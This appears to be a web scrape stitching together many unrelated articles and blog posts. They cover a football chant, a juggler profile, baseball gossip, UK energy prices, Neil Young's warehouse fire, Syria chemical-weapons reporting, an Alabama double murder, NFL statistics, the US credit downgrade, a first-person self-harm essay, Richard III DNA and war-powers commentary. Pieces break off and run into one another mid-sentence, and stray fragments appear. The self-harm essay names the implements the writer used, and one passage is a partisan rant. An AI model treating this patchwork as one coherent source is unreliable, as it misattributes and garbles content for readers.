The truth is that the issue, much like racism, runs far deeper than fines or bans. It lives far beyond the gates of football stadiums and requires practical and educational solutions from the federation, aimed at reaching communities at grassroots level. This is a tough task, which will require money, time, and, most importantly, collective effort. A video will not be enough.
Before defending the sanctity and cultural importance of the chant, fans could perhaps ask themselves: “What if we didn’t say it? What if we stopped the chant?” The answer is simple. Your team’s performance will not suffer, you will still – hopefully – play beautiful soccer, you would still be proud of them. But more importantly, you will send a message of unity to a community who desperately need it right now.The winning act in the 2013 IJA Individuals Championships looked foreign: New Age music; ethereal, plain background; slow, perfect choreography, and for props, only rings and an umbrella.
But the winner was 22-year-old Philadelphia local boy Kyle Driggs, a product of the juggling hotbed that the City of Brotherly Love and the Philly Fest have become. But the foreign exoticism was not false, having been earned by three years at the National Circus School in Montreal.
“I just got my diploma; it was exactly the right school to study at to do the work I want to do. When I got in, 600 had auditioned and only 23 were accepted. The audition lasted a week. We did acrobatics, dance, flexibility, strength tests, acting and only in the last two days did they see me juggle,” Kyle explained right after his victory at the festival in Bowling Green, Ohio.
Asked how his parents felt about his running off to a circus school, Kyle said they were with him all the way.
“They are artists. My mom draws, paints, does jewelry; my dad is a writer, does computer design, and plays music. They are creative and were happy to see me follow a similar path, and they were happy to see me stick with something, especially after my short career as a skateboarder. I made money as a juggler in high school, so when I said I wanted to go to circus school, they said, ‘Go for it!’”
Kyle’s mother found him the Philadelphia Jugglers Club, and Kyle has been a friend of club eminence Jackie “Mr. E” Erikson for 13 years. Then, when he was 15-16, Philly juggler Greg Kennedy – two times IJA champ and now touring with Cirque du Soleil – opened his mind, heart, and studio to him.
“He really took me under his wing. He is more than a juggler; he is a creator. I saw his studio; it was life-changing. Then, Greg’s wife Shana, founding director of the Philadelphia School of Circus Arts, integrated me into the school, where I studied from about age 16 to 18. And local juggler Sean Blue became one of my best friends.”
Philly and all its juggling energy launched him toward Montreal: “It was the most intense three years of my life. I would often be at school from 8:30 am until 8 pm, five or six days a week. There was a lot of competition, both in school and after school. Montreal is a hotbed of circus arts. I learned French, and my creative processes ramped up to more than 1,000%!”
Kyle is now working on four or five projects that he hesitates to talk about as they are mostly works in progress and he does not want to jinx them. One of his biggest current projects is the founding of a new contemporary circus company with four of his friends from the school in Montreal. The company is entitled ‘Cirque Ceans,” the latter word being an old renaissance French word meaning “here, now, in the present moment.”
Another project is working next year with the Montreal circus group, Les 7 doigts de la main (the 7 fingers of the hand), a twist on a French idiom about how the five fingers of the hand are different but are tightly united in moving toward a common goal. The name comes from the company’s seven founders.
And there is of course pursuing his solo act – the one that blew away Bowling Green – as well as writing his own show with friends.
Bowling Green was the first time Kyle had performed for what was essentially an audience of jugglers: “To have this number so well received by the juggling community really shows that the hard work paid off and a great success!”We already knew that Jordany Valdespin didn't exactly like to do things by the book. The utility player has previously invited controversy during his Mets career by showboating during home run trots and by wearing the apparel of division rivals.
If this tweet from New York Post reporter Mike Puma is to believed, however, the latest Valdespin story will take the cake.
Was told Valdespin had a confrontation with Terry Collins and called the manager a "c - - ksucker" and demanded to be placed on the DL. — Mike Puma (@NYPost_Mets) July 15, 2013
Puma doesn't say when this meeting happened, but we can guess from context that it probably had something to do with Valdespin's recent demotion to Triple-A Las Vegas. Obviously no player should call his manager a cocksucker, but if said player is batting.188/.250/.316 for the season and is struggling to find playing time, then that player really shouldn't call his manager a cocksucker.
It's not clear yet what the Mets will do in response to this story, but if Valdespin's behavior is deemed unacceptable enough to warrant a release, Adam Rubin says there will be tales to be told.
Last thing on topic because I don't want to pile on, but you won't believe the stories that will come out if there's ever a trade/release. — Adam Rubin (@AdamRubinESPN) July 15, 2013
As they say in show business, get your popcorn ready.
More from Amazin' Avenue:Big six firms deny inflating prices to make extra profits from their own plants or striking expensive deals to detriment of consumers
Households may have paid £150 over the odds for their electricity over the past three years because energy companies bought their power for almost £4bn more than the average market rate, Labour has claimed.
In a new analysis of official figures, the Labour party, which has pledged to freeze prices for 20 months if it wins the general election in 2015, said the big six energy suppliers appear either to be inflating their prices to make extra profits for their own power plants, or striking very expensive deals to the detriment of consumers.
Caroline Flint, the shadow energy secretary, said she could demonstrate that the energy giants – which supply 98% of households in Britain – have been buying electricity at a far higher price than they could get on the open market. This amounts to about £50 a year per household for the last three years for which data is available, she said.
"These figures reveal the full extent of the way consumers have been overcharged for their electricity," Flint said. "Energy companies always blame wholesale costs when they put up bills, but it now looks like they could have deliberately inflated prices to boost profits from their power stations.
"The time has come for a complete overhaul of our energy market. Labour will break up the big energy companies, put an end to the secret deals and force them to do all of their trading on the open market."
The party calculated its figures by comparing the price paid for electricity by the energy giants – known as the weighted average cost of fuel – with the average market price a year ahead provided to them by small supplier First Utility.
In response, Energy UK, which represents the big six suppliers – SSE, E.ON, EDF, npower, Scottish Power and British Gas – disputed Labour's figures, saying they were not comparable because they cover more than just the wholesale cost of energy.
"It also covers losses, the energy element of reconciliation-by-difference costs and balancing and shaping costs incurred by the supply," a spokesman said.
"The additional costs included in the weighted average cost of fuel make them a totally different figure to the basic wholesale market price.
"It is also worth pointing out there isn't a single 'wholesale' price. Different companies buy at different times, from different people, for different prices depending on demand, forecasts and a whole host of other factors. These different business practices mean each energy company will be paying a different amount for its wholesale energy."
Labour said it did not believe these extra costs – which can be incurred when a firm has to match the electricity it has bought with customer demand – could account for the large price differential.
Flint said the public were fed up with hearing the "same old excuses" from the energy industry.
MPs have long raised concerns about the potential for energy firms to increase their profits by selling power from their own stations to their retail arms, either directly or indirectly.
In evidence to MPs in November, all the firms denied selling power from their own stations to their supply businesses at inflated prices and said they only "self supply" a very small amount of electricity or none at all.
But Tim Yeo, the chairman of the energy select committee, has raised concerns about the lack of transparency around the issue while another committee member, Alan Whitehead, said in a hearing that all the big companies buy some of their own electricity "in one way or another".
One of the companies, E.ON, has suggested new restrictions on self-supply to provide more clarity, including a "clear and consistent prohibition of cross-subsidy between the generation and supply activities that are within the same group".
In 2011, Andrew Wright, then senior partner of markets at Ofgem, said there was no concrete evidence but "it's a sensible conclusion" that companies are self-supplying given the lack of liquidity in the wholesale market.
To end any doubts over the issue, Labour wants to make sure the big six formally separate their power stations and supply companies in a similar way to the proposed ringfence for the banks.
The party's analysis is likely to add to pressure on David Cameron to address worries about Britain's energy market, after Labour's leader, Ed Miliband, announced last year he would freeze prices for 20 months if he becomes prime minister in 2015.
Cameron has dismissed Labour's pledge as a gimmick that would drive business away from Britain, depicting Miliband as wanting to live in a "Marxist universe" and of resorting to a "petty socialist campaign". He also accused Miliband of helping to push up fuel bills during the last government.
However, he was forced to respond to worries about the soaring cost of fuel – now at a record high of more than £1,400 per household – as he pledged to "roll back" green charges on bills.
The coalition announced it would remove levies costing each household about £50, but not all consumers have yet seen the benefit of this cut in their bills.
A £53 price cut by British Gas has taken effect this week, while EDF and E.ON have limited their price rises. Yet SSE has only said it will cut bills before the end of March, while the others – Scottish Power and npower – have not said exactly when they will pass on the reductions.
Labour also pointed out that the efforts to roll back green tariffs came after a round of price rises by the big six, meaning energy bills are still higher this winter than last year.
An Ofgem spokesman said the regulator is already doing a huge amount to reform the energy market that will make a big difference to customer bills.
From Thursday, Ofgem is banning suppliers from offering complex tariffs – for example where consumers are initially charged a higher rate, which falls the more they use. It will mean each supplier has just four tariffs for gas and four for electricity for consumers to choose from.
"We've introduced the biggest reforms since competition began," the spokesman said.
The energy minister, Ed Davey, said Miliband's pledge to freeze energy prices for two years would not reduce household bills. He also said a UK fracking boom was not the answer either, in an interview in the Independent.
He believes Britain must create an integrated power market across Europe in order to benefit from lower energy prices, adding that a network of European electricity interconnectors is needed.
"Literally in the last three or four years, there has been a complete change in the differential between the North American price for gas and energy and the EU price for gas and energy," he said.
"That represents a strategic change in the terms of trade and is very significant. The EU needs to respond to this very quickly."When singer-songwriter Neil Young converted his 1959 Lincoln Continental to run on biofuel, his plan was to drive it from Wichita, Kansas, halfway across the United States to Washington, DC, to show politicians that America's longstanding love affair with the automobile need not be sacrificed upon the altar of environmentalism.
He will have been disappointed to discover that the vehicle's charging system was responsible for a blaze at a warehouse that has seen a million dollar's worth of the enduring rock musician's prized paintings and guitars go up in planet-poisoning smoke.
Firefighters in California managed to save 70 per cent of the warehouse's contents after the fire broke out, but damage has been estimated at up to $1m (£620,000). Young has kept guitars, paintings, photographs and several classic cars at the warehouse in the San Francisco Bay area, near his home on Broken Arrow Ranch. The singer's spokesman is yet to confirm which items may have been lost but Fire Marshal Jim Palisi confirmed that "a lot of it is musical instruments and electronic equipment. It's very expensive."
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The singer has praised the emergency services' role in saving many "archival items", suggesting the fire will not delay the creation and release of the Canadian's Archives project.
Chrome Dreams, Homegrown and Oceanside-Countryside were said to be among the previously unreleased albums being recreated for his Archives Volume 2 this year.
Young has blamed the fire on "human error", saying that the wall charging system should not have been left unattended, while authorities seem to be blaming the vehicle.
"The car was plugged in to charge and left unattended," Young wrote. "The wall charging system was not completely tested and had never been left unattended. A mistake was made. It was not the fault of the car." A statement on the website Lincvolt.com, where the singer publicises his experiments with his vintage biofuel vehicle, suggests the car's role in the torching of beloved treasures hasn't dampened his enthusiasm for the project.
"We are rebuilding," he wrote. "The reason we started this project has not changed. We're still in a race against time. On a project like this, setbacks happen for a reason. Barn's burnt down. Now I can see the moon," he added, quoting the 17th-century Japanese poet and samurai Mizuta Masahide.
An identical 1959 Lincoln Continental has since been acquired after the fire last Wednesday, a 65th birthday gift from his wife, Pegi, and work is already underway cannibalising its parts for the benefit of its blackened biofuel-burning cousin, which runs with the aid of what its website calls "super-safe" lithium iron phosphate batteries.
The converted car was the inspiration for Young's 2009 album, Fork in the Road, for which he was nominated for Best Solo Rock Vocal Performance at this year's Grammy Awards.
Young says his mission "is to inspire a generation by creating a clean automobile propulsion technology that serves the needs of the 21st century" and that he will have succeeded when "one or more major companies are building automobiles that use our technology or something similar".
That the technology has, in the ever-so-slightly amended words of his famous country cover, kept the home fires burning is something of a setback.Our petulant president is so threatened by Netanyahu’s speech on Iran that he is now actively seeking out ways he can undercut and blunt Netanyahu’s message, trying to push the alternate message that a nuclear deal with Iran would not be a threat to Israel or the world:
AP – In what is becoming an increasingly nasty grudge match, the White House is mulling ways to undercut Israeli Prime Minister Benjamin Netanyahu’s upcoming trip to Washington and blunt his message that a potential nuclear deal with Iran is bad for Israel and the world. There are limits. Administration officials have discarded the idea of President Barack Obama himself giving an Iran-related address to rebut the two speeches Netanyahu is to deliver during his early March visit. But other options remain on the table. Among them: a presidential interview with a prominent journalist known for coverage of the rift between Obama and Netanyahu, multiple Sunday show television appearances by senior national security aides and a pointed snub of America’s leading pro-Israel lobby, which is holding its annual meeting while Netanyahu is in Washington, according to the officials. The administration has already ruled out meetings between Netanyahu and Obama, saying it would be inappropriate for the two to meet so close to Israel’s March 17 elections. But the White House is now doubling down on a cold-shoulder strategy, including dispatching Cabinet members out of the country and sending a lower-ranking official than normal to represent the administration at the annual policy conference of the American Israel Public Affairs Committee, the officials said. KEEP READING…
Of all the hostile things you could do to put what is supposed to be your greatest ally in danger, a freaking nuclear deal with a country who wants to wipe Israel from the face of the earth is at the very top!
So because Ahmadinejad is no longer president, they no longer want to annihilate Israel? Who does Obama think Ahmadinejad was speaking for?
Obama’s contempt for the state of Israel couldn’t be any more clear.
WORST. PRESIDENT. OF. ALL. TIME.Restricted free agent Tayte Pears hopes to secure a new deal at Essendon, with the backman eyeing more senior opportunities following the departure of fellow tall Jake Carlisle.
Pears, 25, has played just 70 games in seven seasons with the Bombers, and made only two appearances this year, but is likely to ignore interest from rival clubs to remain at Bomberland.
Pears' manager Tom Petroro said the appointment of new Bombers coach John Worsfold had temporarily held up negotiations on a new deal.
"There's been some interest from other clubs, however we're pretty confident Essendon are really keen to retain his services, particularly in light of losing Carlisle," Petroro told SEN on Thursday morning.
"It was his first year that he'd actually been able to string a full season (of fitness) together for a couple of years.
"I'd be confident that I'll be in discussions with Essendon at some point in the next week or so."
Petroro said Pears was "really bullish" about his prospects after overcoming the injury problems that hampered his progress in recent seasons.
This is the first time in "a long while" that Pears hasn't had to undergo post-season surgery.
Petroro said the backman was hoping to gain a fresh start at Essendon "with a new coach, probably some new administrators, and probably a few new assistant coaches - fresh opinions of Tayte and fresh ideas".
"Tayte's a loyal kid and would grab the opportunity at Essendon if it came about."San Andreas, Grand Theft Auto V: The state of San Andreas is remarkably varied. The sprawling metropolis of Los Santos is the best place to start, where you’ll find the famous Vinewood sign, the palatial homes of Rockford Hills and the sun-kissed Vespucci Beach. Leave the city, heading north through the Vinewood Hills, and you’ll emerge in Los Santos County. Here you're free to explore the forests and rolling hills, either on foot or mountain bike, using the peak of Mount Chiliad far in the distance for navigation. Eventually the green will shift to sepia as you hit the Grand Senora Desert, which sits on the banks of the Alamo Sea. If |
Barack Obama declared use of chemical weapons to be a “red line” which would require a firm response.
Obama has been reluctant to intervene in Syria’s 2-1/2-year-old conflict and U.S. officials stressed that he has yet to make a decision on how to respond. A senior senator, Republican Bob Corker, said on Sunday he believed Obama would ask Congress for authorization to use force when lawmakers return from summer recess next month.
A senior official of the U.S. administration said there was little doubt the Syrian government had gassed its own civilians.
The White House said Obama and French President Francois Hollande “discussed possible responses by the international community”.
British Prime Minister David Cameron and German Chancellor Angela Merkel agreed that “such an attack demanded a firm response from the international community,” Cameron’s office said.
Syria watchers said the government’s decision to allow the inspections may have been an attempt to stave off intervention.
“My view is that the Syrian government’s apparent agreement to the U.N. inspection has been triggered by the growing possibility of military action,” said Malcolm Chalmers, Research Director at the Britain’s Royal United Services Institute.
“I think that is why they are doing it.”
In London, Foreign Secretary William Hague said evidence of a chemical attack could have already been destroyed by subsequent artillery shelling in the areas or degraded in the days following the strike.
A young Free Syrian Army fighter is seen with his weapon in old Aleppo, August 25, 2013. REUTERS/Molhem Barakat
“We have to be realistic now about what the U.N. team can achieve,” he told reporters.
CEASEFIRE DURING INSPECTIONS
The United Nations said Damascus had agreed to a ceasefire while the U.N. experts are at the site for inspections.
Syria confirmed it had agreed to allow access to the inspectors, who arrived in Syria to investigate smaller chemical weapons allegations just three days before the huge incident, which occurred before dawn after a night of heavy bombardment.
Medicins sans Frontieres says at least 355 people were reported dead in three hospitals from symptoms of poisoning. President Bashar al-Assad’s opponents have given death tolls ranging from 500 to well over 1,000.
The experts’ mandate is to find out whether chemical weapons were used, not to assign blame, but the evidence they collect, for example about the missile used, can provide a strong indication about the identity of the party responsible.
If the U.N. team obtains independent evidence, it could be easier to build an international diplomatic case for intervention. Former weapons investigators say every hour matters.
The team has been waiting in a Damascus luxury hotel a few miles from the site of what appears to have been the world’s worst chemical weapons attack since Saddam Hussein’s forces gassed thousands of Iraqi Kurds in 1988.
Syria’s information minister said any U.S. military action would “create a ball of fire that will inflame the Middle East”.
He said Damascus had evidence chemical arms were used by rebels fighting to topple Assad, not by his government. Western states say they believe the rebels lack access to poison gas or weapons that could deliver it.
Assad’s closest ally Iran, repeating Obama’s own previous rhetoric, said the United States should not cross a “red line” by attacking Syria.
Slideshow (9 Images)
Assad ally Russia, which has suggested rebels may have been behind the chemical attack, said it would be a “tragic mistake” to jump to conclusions over who was responsible.
Two and a half years since the start of a war that has already killed more than 100,000 people, the United States and its allies have yet to take direct action, despite long ago saying Assad must be removed from power.Please enable Javascript to watch this video
MORGAN COUNTY, Ala. - Investigators have identified the man and woman found shot to death inside their Hartselle home on Thursday night. William Jeremy Hulsey, 43, and Sandra Hulsey, 37, died.
Their son, Andrew Kyle Hulsey, is charged with two counts of capital murder. The 23-year-old is being held in the Morgan County Jail. The Priceville Police Department and the Morgan County Sheriff's Office are investigating further.
We're told the couple adopted Andrew when he was a teen.
Around 8:45 Thursday night, police were called to a home in the 400 block of Church Road in Morgan County. When they arrived, they found a man and a woman dead inside. Priceville Police Chief Billy Peebles said the two had been shot.
Officers say the shooting investigation quickly led to a person believed to be involved and the gun believed to be used in the shooting.
No other arrests are expected to be made. The Morgan County Sheriff's Department is assisting the investigation.
34.472249 -86.849356Pro Football Focus has been running a "QBs in Focus" offseason series that involves some interesting data regarding every NFL quarterback. The latest piece in their series focuses on how quarterbacks handle pressure and blitzing (or a lack of it) from opposing defenses. With the interest of the Eagles in mind, let's take a look at how Nick Foles performed. Numbers in parentheses represent the NFL average.
No Pressure
To no surprise, Foles was pretty good when he had a clean pocket. The percentage of touchdowns Foles threw on plays where he wasn't pressured (10.8%) was higher than any other NFL QB. He more than doubled the NFL average in that category.
Yards/attempt: 9.9 (7.7)
YAC/completion: 7.4 (5.6)
Completion%: 70.9% (67.4%)
Accuracy%: 76.3% (75.9%)
TD%: 10.8% (4.9%)
INT%: 0.8% (2.3%)
QB Rating: 134.6 (96.9)
PFF Grade: 13.2 (14th)
Pressure
Foles handled pressure fairly well. He wasn't exceptionally stellar but he was certainly above average. The fact that Foles didn't throw any interceptions while facing pressure is definitely impressive.
Yards/attempt: 7.2 (5.9)
YAC/completion: 6.0 (5.1)
Completion%: 47.9% (47.0%)
Accuracy%: 68.1% (61.5%)
TD%: 3.2% (3.4%)
INT%: 0.0% (3.9%)
QB Rating: 82.8 (60.7)
PFF Grade: -1.6 (16th)
Blitz
Against the blitz, Foles recorded the best yards/attempt, TD%, and QB rating of any NFL QB. Plus tied for the lowest INT%.
Yards/attempt: 10.2 (7.2)
YAC/completion: 8.2 (6.0)
Completion%: 64.4% (57.4%)
Accuracy%: 74.1% (68.7%)
TD%: 10.0% (4.9%)
INT: 0.0% (2.5%)
QB Rating: 131.8
PFF Grade: 3.7 (15th)
No Blitz
Foles made teams pay if they didn't blitz him. Predictable.
Yards/attempt: 8.7 (7.1)
YAC/completion: 6.6 (5.2)
Completion%: 63.9% (62.9%)
Accuracy%: 74.3% (73.3%)
TD%: 7.9% (4.2%)
INT%: 0.9% (2.9%)
QB Rating: 114.2 (86.1)
PFF Grade: 7.9 (12th)
No Blitz, No Pressure
This is what happens when Foles has all day to throw.
Yards/attempt: 9.1 (7.5)
YAC/completion: 7.0 (5.4)
Completion%: 70.1% (68.1%)
Accuracy%: 75.9% (76.6%)
TD%: 9.1% (4.6%)
INT%: 1.2% (2.5%)
QB Rating: 123.7
PFF Grade: 6.0 (17th)
No Blitz, Pressure
Foles handled pressure well when it didn't come in the form a blitz.
Yards/attempt: 7.7 (5.9)
YAC/completion: 5.2 (4.8)
Completion%: 47.6 (48.6)
Accuracy%: 68.8% (63.2%)
TD%: 4.8% (3.2%)
INT%: 0.0% (4.0%)
QB Rating: 89.6 (60.9)
PFF Grade: 1.9 (7th)
Blitz, No Pressure
This is the area where Foles is the most dangerous. If you're going to send extra rushers and blitz Foles, you better hope it hits home. If it doesn't, he's going to make defenses pay. Foles almost tripled the average TD% in this category. Nick Foles had a near perfect QB Rating (153.5) when defenses sent the blitz but didn't generate pressure. If you blitz at the Foles, you best not miss.
Yards/attempt: 12.3 (8.0)
YAC/completion: 9.7 (6.1)
Completion%: 67.3% (65.4%)
Accuracy%: 78.8% (74.0%)
TD%: 15.3% (5.6%)
INT%: 0.0 (1.8%)
QB Rating: 153.5
PFF Grade: 7.2 (10th)
Blitz, Pressure
This is the area where Foles struggled the most. Not a single one of Foles 27 TDs came when he was pressured by a blitz.
Yards/attempt: 6.4 (5.9)
YAC/completion: 7.8 (5.7)
Completion%: 48.4% (44.2%)
Accuracy%: 66.7% (58.6%)
TD%: 0.0% (3.7%)
INT%: 0.0% (0.0%)
QB Rating: 69.0 (60.4)
PFF Grade: -3.5 (26th)Obama hits back at S&P's downgrading of US credit rating and blames Tea Party Republicans for loss of AAA status
Barack Obama has dismissed Standard and Poor's downgrading of America's credit rating and insisted the US remained an AAA country.
In his first words since S&P's decision on Friday evening, he sought to calm the markets, which had been tumbling since opening, saying America's problems were solvable, providing there was the necessary political will.
"This is the United States of America. No matter what some agency says, we will always be a triple A country," he said.
As well as seeking to reassure the markets, Obama also sought to protect his chances of re-election to the White House next year by blaming the decision on Tea Party Republicans.
The downgrade, the first in American history, provides the Republicans with a powerful stick to with which beat him in the election campaign.
Candidates seeking the party nomination to take on Obama pinned responsibility on the president, saying he had provided poor leadership and failed to take desperately-needed action to make even deeper debt cuts.
A CNN poll showed 75% of those surveyed felt the economy was going badly – up 15% since May.
Despite the Wall Street selloff, prompted by the ratings downgrade, international investors piled into US treasury bonds. By midday in New York, two-year US Treasuries were in such demand that their yields hit an all-time low of 0.24%. At the same time, 10-year Treasuries fell to 2.36%.
Analysts said that – compared with the problems mounting in the eurozone – the US looked a safe haven.
The VIX index – known as the "index of fear", because it measures market confidence – jumped to levels not seen since the depths of the 2009 recession.
Obama spoke from the White House while the markets were still open in the hope that he might have an influence – but they continued falling during and even after his statement.
The president, blaming the Republicans, said the downgrade was not so much because of doubts about America's ability to pay its debts but the month of wrangling in Washington over the debt ceiling rise. The question was a political one, not a financial one, he said.
In a swipe at S&P, he noted that other credit agencies had not joined it in downgrading America. "It does not mean we don't have a problem," Obama said, citing the deadlock in Washington over the last month. He said the threat from the Republicans had upset the market, and that was a "legitimate concern".
But he claimed there was good news in that the problem could be fixed by balancing the budget and the new Congressional super-committee being set up to look at spending cuts and revenue raising could provide the answers. Good bipartisan proposals were out there, he said. "It is the lack of political will in Washington" that was the problem.
He would put forward proposals of his own over the next few weeks.
His statement is unlikely to create much confidence that there will be a bipartisan agreement. The president insisted there had to be tax raising measures, a move the Republicans say they will not even contemplate. Obama also said that any cuts in benefits, such as Medicare, would be "modest", while Republicans are looking for deep cuts.
Much of the political action this week will be in Iowa, the first state where the Republicans will hold their caucus early next year to choose a candidate to take on Obama. Most of the Republican hopefuls will be campaigning in the state this week ahead of a televised debate on Thursday and a straw poll on Saturday. However, the candidates lined up on Monday to blame Obama.
The present Republican frontrunner, Mitt Romney, speaking in New Hampshire, another of the early states in the Republican nomination battle, said Obama was primarily responsible for the downgrade because he had failed to stimulate economic growth.
He added that some of the blame could be placed on Democrats and Republicans in previous Congresses. "No, I don't think it's simply the president's fault. I'm sure there are many people who share responsibility in Washington for the excessive spending over the last couple of decades," Romney said.
Democrats, most of them anonymous, also criticised Obama, saying his present troubles are a direct result of his failure to stand up to the Tea Party Republicans during the debt ceiling stand-off.
There is unlikely to be much relief for Obama over the summer holidays.
The political focus will shift to the composition of a new Congressional super-committee set up as part of the deal last week to draw up detailed plans for debt reduction.
The committee is due to begin work in September and identify areas for spending cuts before the end of the year.
The Obama administration expressed hope that the downgrade will put pressure on the bipartisan committee to reach a compromise.
But Republicans, having fought two successful guerrilla campaigns this year so far in which they threatened to close down the federal government and force the US to default, are almost certain to renew hostilities over spending.
Ha-Joon Chang, page 26I have scars on my body. Proof of the things I sometimes wish weren’t true about me; constant reminders of the many times I’ve slipped up and let my demons take the reigns.
I have scars on my legs, my arms and my torso. Some are tiny, faint little lines. Some are big and texturised. Some were made with a knife. Others with a razor blade. Some with broken glass. One, with a broken hair clip. Some of them bled a lot. Some of them barely bled at all.
All of them were self-inflicted. None of them were meant to kill me.
I used to hide my scars at all costs. I didn’t want people to know I had cut myself. I had a story for each scar; a made up explanation for how it got there.
The one on my wrist? I was climbing a tree and scratched it on a branch.
The one on my hand? I didn’t realise there was a knife in the soapy dish water.
The one on my side? I scraped it on a rock while swimming in the river.
After a while, though, there were too many scars and not enough stories to pair them with. And, eventually I grew to accept the scars – and myself – and the potential whispers stopped bothering me. I stopped hiding.
When I started this blog, I decided to take every possible opportunity to talk about mental health issues. What better way to get people talking than to expose the evidence?
Sometimes I catch people looking and I know they want to ask, but are afraid to. Sometimes I get supportive comments, or people share their own stories with me. Sometimes, I get questions.
Not everyone understands the concept of physical self-harm. I’ve noticed that some people even have a hard time differentiating between self-harm and attempted suicide. For example, after discussing the scars on my legs being from self-inflicted cuts, one person said, “Why would you cut yourself there? That’s not going to kill you.”
When we take part in something and know it very well, it’s easy to forget that not everyone has those same experiences. So when that person indirectly told me I was bad at suicide, I was just surprised they didn’t realise suicide had never been my plan in the first place. When I drew the knife across my thigh; when I cut my wrist with that broken hair clip; when I sliced my side open with a razor blade – I wasn’t doing it to end my life.
But why on earth would a person intentionally hurt themselves? Being a person who has self-harmed since I was a young teenager, this is a question I never really even considered – it’s just what I have always done. However, I realise there are several people in the world who – thankfully – simply never had to know the answer.
While I can’t speak for everyone, I can speak for myself. And to me, the answer seems simple. Why do I hurt myself? To feel the pain.
“But why do you want to feel pain? Do you like the pain?”
No. I hate it. It hurts. And most of the time it leaves an ugly scar.
“If you know it’s going to leave an ugly scar, then why do you still do it?”
When I’m in a state of mind poor enough to self-harm, the thought of a lasting scar doesn’t bother me. In fact, I feel like scarred skin represents me better than flawless skin in these moments – the skin should match the mind.
“Are you trying to kill yourself?”
No.
“Then I don’t understand.”
The best explanation I have is this:
Self-harm translates the confusing, sad, angry feelings I’m unable to disect into a physical, tangible and understandable pain. I can look at it. I can control it. I can understand why it hurts.
Not everyone who self-harms is suicidal. Sometimes, it’s just a release. If I’m feeling overwhelmed and angry and upset and I don’t know why and I can’t calm myself down, cutting brings me back to reality. I see the blood and I’m reminded that my heart is still beating; that I’m still breathing; that I’m still living.
Suicide ends your story, while self-harm just leaves a mark.
I’m not condoning cutting, or any other form of self-harm. As much as I understand how “helpful” it can feel, I realise it is in no way a good thing. Unfortunately, though, it can be addictive. Self-harm is something that I’m still fighting with; it’s something I always revert back to when I fall down the tunnel. It’s a battle I’ve yet to win, but one I won’t give up on.
The cuts I make will soon stop bleeding and close up – the skin will scab, then toughen with a scar. The crippling thoughts lodged in my mind are just as temporary – they will change, and I will be okay. When I forget that, the scars are my reminder.
AdvertisementsRunGunJumpGun Aims To Push Your Run-‘N’-Gun Skills To The Limit
By Chris Priestman. December 11, 2015. 2:30pm
RunGunJumpGun may only require you to use two buttons but it looks to be absolutely brutal. And colorful too. You can’t ignore those vibrant colors.
It’s a fusion of traditional and helicopter-style platforming with a large gun at its center. The idea being that your gun is so powerful it can lift you up off the floor and help you cross chasms. However, you can’t have your gun pointed down at all times, as enemies will appear in front and need to be shot.
You can see the dilemma, then. You have to constantly balance shooting down to raise the survivor over spikes, saws, and gaps but also concentrate on destroying enemies at the same time. And the survivor auto-travels at a fast pace so you don’t have much time to think.
There’s a story being told here in between all the chaos. Something about a hostile galaxy that’s so dangerous no one can survive. Apart from you. If you’re able to keep up, that is. Why you’re running through these dangerous planets? No idea.
You can vote for RunGunJumpGun on Steam Greenlight. It should be coming out for PC in early 2016.Please enable Javascript to watch this video
The cold can be pretty hard on our cars, but one local man volunteered his time helping give people a jump.
4th Avenue Auto Sales in Moline has been flooded with calls.
"They've been ringing off the hook, probably about every five minutes," said employee Chris Sunken.
However, the calls aren't for their business, but for a certain employee. Brad McCorckle, who works at 4th Avenue, decided to post on Facebook he would help out whoever needed a jump start for their car.
"(I thought) 'We should put something on Facebook and go out and see who needs some help,' so that's what we did," said McCorckle.
The post blew up on Facebook and so did the calls. On Monday, January 6, 2013, McCorckle started his day at 10:00 a.m., driving to several homes to offer his help for free.
"That's what struck me right there, that he was willing to do that to give back to the community. So, I think it's a great thing he's doing especially in this weather," said Robin Carden, a nurse who was stranded at home and needed to get to her patients.
McCorckle says it's just the right thing to do.
"I was always taught by my parents to help people," said McCorckle.
He's bringing sunshine to people on a very cold day.
"There's not many out there willing to do that anymore," said Carden.At last, King Richard III of England has been reburied in Leicester Cathedral this week. And at the same time, researchers have announced even more evidence of infidelity that could potentially shake up his royal family tree.
Richard III, the last Plantagenet king, died at the age of 32 at the Battle of Bosworth Field on August 22, 1485. But it wasn’t until in 2012 when his skeletal remains were discovered under a parking lot on a former friary site in Leicester. This past December, a genetic analysis with DNA samples from his living descendants confirmed with 99.999 certainty that the remains do, in fact, belong to the much maligned monarch. And according to a blow-by-blow account created using CT imaging of his bones, the last king of England to die in battle went down fighting -- sustaining at least 11 wounds, nine of which were to his skull.
That genetic analysis, published in Nature Communications last year, also hinted at infidelity in his royal family tree. Mitochondrial DNA (inherited from the mother) was a match between the skeleton and two descendants of Richard III’s older sister, Anne of York. The Y-chromosomal markers in the male relatives, however, do not match: The male line of descent was broken at one or more points between Richard III and five living male-line relatives descended from Henry Somerset, 5th Duke of Beaufort, who died in 1803. The Beauforts were descended from Edward III, Richard’s great-great-grandfather who died in 1377.
“The break in the Y-chromosome line is not overly surprising given the incidence of non-paternity, but does pose interesting speculative questions over succession as a result,” University of Leicester’s Kevin Schürer said at the time. "We may have solved one historical puzzle, but in so doing, we opened up a whole new one," Schürer told BBC. The false paternity could have occurred anywhere between Richard III and Henry Somerset.
Well, the plot thickens. University of Leicester’s Turi King, the lead author of the 2014 genetic study, has been analyzing a sample of DNA from Patrice de Warren -- who says he’s a male-line descendant of Geoffrey Plantagenet, the Count of Anjou, who died in 1151. If de Warren's Y chromosome matches that of Richard III, that means the adulterous act occurred between Edward III and Henry Somerset. If de Warren's Y chromosome matches Henry Somerset’s, the affair occurred between Edward III and Richard III.
“As it happens, it’s revealed that another false paternity seems to have occurred in the tree as his Y chromosome type doesn’t match either of them!” King says in a news release. “The hunt continues, and another mystery has arisen!”
King announced these findings this week at the Science Museum in London, which is opening a new exhibit on Richard III.
Images: University of LeicesterCongress waited six years to repeal the Tonkin Gulf Resolution after it opened the bloody floodgates for the Vietnam War in August 1964.
If that seems slow, consider the continuing failure of Congress to repeal the “war on terror” resolution—the Authorization for Use of Military Force—that sailed through, with just one dissenting vote, three days after 9/11.
Prior to casting the only “no” vote, Congresswoman Barbara Lee spoke on the House floor. “As we act,” she said, “let us not become the evil that we deplore.”
We have. That’s why, more than 11 years later, Lee’s prophetic one-minute speech is so painful to watch. The “war on terror” has inflicted carnage in Iraq, Afghanistan, Yemen and elsewhere as a matter of routine. Targets change, but the assumed prerogative to kill with impunity remains.
